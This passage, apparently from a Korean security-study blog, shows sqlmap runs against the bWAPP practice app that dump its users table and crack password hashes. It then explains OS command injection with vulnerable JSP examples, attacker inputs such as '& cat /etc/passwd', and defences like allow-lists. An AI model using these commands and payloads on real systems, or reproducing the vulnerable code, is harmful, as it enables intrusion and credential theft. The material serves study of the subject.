└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342;
security_level=0" -D bWAPP --tables

[03:25:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[03:25:30] [INFO] fetching tables for database: 'bWAPP'


Database: bWAPP
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+
  • users 테이블의 컬럼 정보 조회
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342; 
security_level=0" -D bWAPP -T users --columns 


[03:27:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[03:27:05] [INFO] fetching columns for table 'users' in database 'bWAPP'


Database: bWAPP
Table: users
[9 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| admin           | tinyint(1)   |
| activated       | tinyint(1)   |
| activation_code | varchar(100) |
| email           | varchar(100) |
| id              | int(10)      |
| login           | varchar(100) |
| password        | varchar(100) |
| reset_code      | varchar(100) |
| secret          | varchar(100) |
+-----------------+--------------+
  • users 테이블의 데이터 조회
    📝 몇 개의 명령어로 SQL Injection 공격에 취약한 사이트의 사용자 정보를 해쉬 크래킹해서 조회하는 것이 가능
┌──(kali㉿kali)-[~]
└─$  sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man
--cookie="PHPSESSID=9a7ebadcd055dcb3b555493c86862342; 
security_level=0" -D bWAPP -T users --dump
   


[03:28:32] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[03:29:12] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[03:29:15] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] 
[03:29:30] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[03:29:30] [INFO] starting 4 processes 
[03:29:52] [INFO] cracked password 'bug' for user 'A.I.M.'                      


Database: bWAPP          
Table: users
[2 entries]
+----+--------------------------+--------+-------------------------------------+---------+------------------------------------------------+-----------+------------+-----------------+
| id | email                    | login  | secret                              | admin   | password                                       | activated | reset_code | activation_code |
+----+--------------------------+--------+-------------------------------------+---------+------------------------------------------------+-----------+------------+-----------------+
| 1  | bwapp-aim@mailinator.com | A.I.M. | A.I.M. or Authentication Is Missing | 1       | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1         | NULL       | NULL            |
| 2  | bwapp-bee@mailinator.com | bee    | Any bugs?                           | 1       | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1         | NULL       | NULL            |
+----+--------------------------+--------+-------------------------------------+---------+------------------------------------------------+-----------+------------+-----------------+


[03:30:02] [INFO] table 'bWAPP.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/bee.box/dump/bWAPP/users.csv'                                                     
[03:30:02] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/bee.box'                                                             

[*] ending @ 03:30:02 /2024-03-14/

📖 Command Injection

💡 운영체제(OS) 명령어 삽입

⑴ 어플리케이션에 운영체제 명령어(= 쉘 명령어)를 실행하는 기능이 존재하는 경우
외부 입력값을 검증·제한하지 않고 운영체제 명령어 또는 운영체제 명령어의 일부로 사용되는 경우 발생

👩‍💻 시스템의 제어권을 탈취해서 해당 시스템을 원격에서 공격자 마음대로 제어할 수 있게 됨

✍ 운영체제 명령어(= 쉘 명령어)를 실행하는 기능

  • Java
    👉쉘 명령어를 해당 시스템에서 실행하고 결과를 반환
Runtime.getRuntime().exec("쉘 명령어") 
exec("쉘 명령어")	
subprocess.run([쉘 명령어])	
	  os.system("쉘 명령어")

✍ 외부 입력값을 검증하지 않고 사용

  • 추가 명령어를 실행하는데 사용되는 &, |, ; 등의 문자열 포함 여부를 확인하지 않고 사용

✍ 외부 입력값을 제한하지 않고 사용

  • 내부 로직에서 사용할 수 있는 명령어 또는 명령어의 파라미터 값을 미리 정의하고 정의된 범위 내에서 사용되도록 하지 않는(화이트 리스트 방식으로 입력값을 제한하지 않는) 경우, 의도하지 않은 명령어가 전달되어 실행될 수 있음

✍ 입력값을 제한하는 방법

  • 화이트 리스트 방식 (=허용 목록 방식)
    ✔ 사용할 수 있는 값을 미리 정의하고 정의된 범위 내의 값만 사용하도록 제한
    ✔ 새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전
    ✔ 입력 유형이 추가될 때마다 하나하나 검증의 작업을 거쳐야 하므로 블랙 리스트에 비해 시간이 오래 걸림

  • 블랙 리스트 방식 (=제한 목록 방식)
    ✔ 사용할 수 없는 값을 미리 정의하고 정의된 범위 외의 값만 사용하도록 제한
    ✔ 모집합의 규모가 크고, 변화가 심한 경우 사용

✍ 외부 입력값을 운영체제 명령어로 사용하는 경우

run.jsp
=========================================
String cmd = request.getParameter("cmd");

Runtime.getRuntim().exec(cmd);

개발자가 원했던 실행
→ run.jsp?cmd=ifconfig  # 서버의 네트워크 설정 정보를 반환 

공격자가 조작한 실행
→ run.jsp?cmd=cat /etc/passwd  # 의도하지 않은 명령어 실행으로 계정 정보가 노출
→ run.jsp?cmd=ifconfig & cat /etc/passwd  # 의도하지 않은 추가 명령어 실행으로
  										    계정 정보가 노출   

✍외부 입력값을 운영체제 명령어의 일부로 사용하는 경우

view.jsp
===========================================
String file = request.getParameter("file");
Runtime.getRuntim().exec("cat " + file);

개발자가 원했던 실행
→ view.jsp?file=/data/upload/myfile.txt  # /data/upload/ 아래에 있는
 			     ~~~~~~~~~~~~~~~~~~~~~~~    myfile.txt 내용을 반환
                 # cat 명령어의 일부(파라미터)로 사용
                
                 # cat 명령어의 일부(파라미터)로 사용
                 
공격자가 조작한 실행
→ view.jsp?file=/data/upload/myfile.txt & cat /etc/passwd
										~~~~~~~~~~~~~~~~~
										# 추가 명령어 실행을 통해
                                          시스템 파일 내용을 반환

🔎 방어 기법

불필요한 운영체제 명령어 실행을 제거

  • 운영체제 명령어 실행이 꼭 필요한지 확인하고 불필요한 경우 해당 기능을 제거하거나 다른 기능으로 대체
  • 운영체제 명령어 실행이 발생하지 않도록 설계

❷ 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한

  • 시스템 내부에서 사용할 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용되도록 제한

❸ 입력값에 추가 명령어 실행에 사용되는 &, |, ; 등의 문자가 포함되어 있는지 검증하고 사용

❹ 외부에서 시스템 내부 처리를 유추할 수 없도록 입력값을 코드화

run.jsp
=========================================
String cmd = request.getParameter("cmd");
if (cmd == "CMD001") 
   Runtime.getRuntim().exec("ifconfig");
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   
개발자가 원했던 실행
→ run.jsp?cmd=CMD001 

0개의 댓글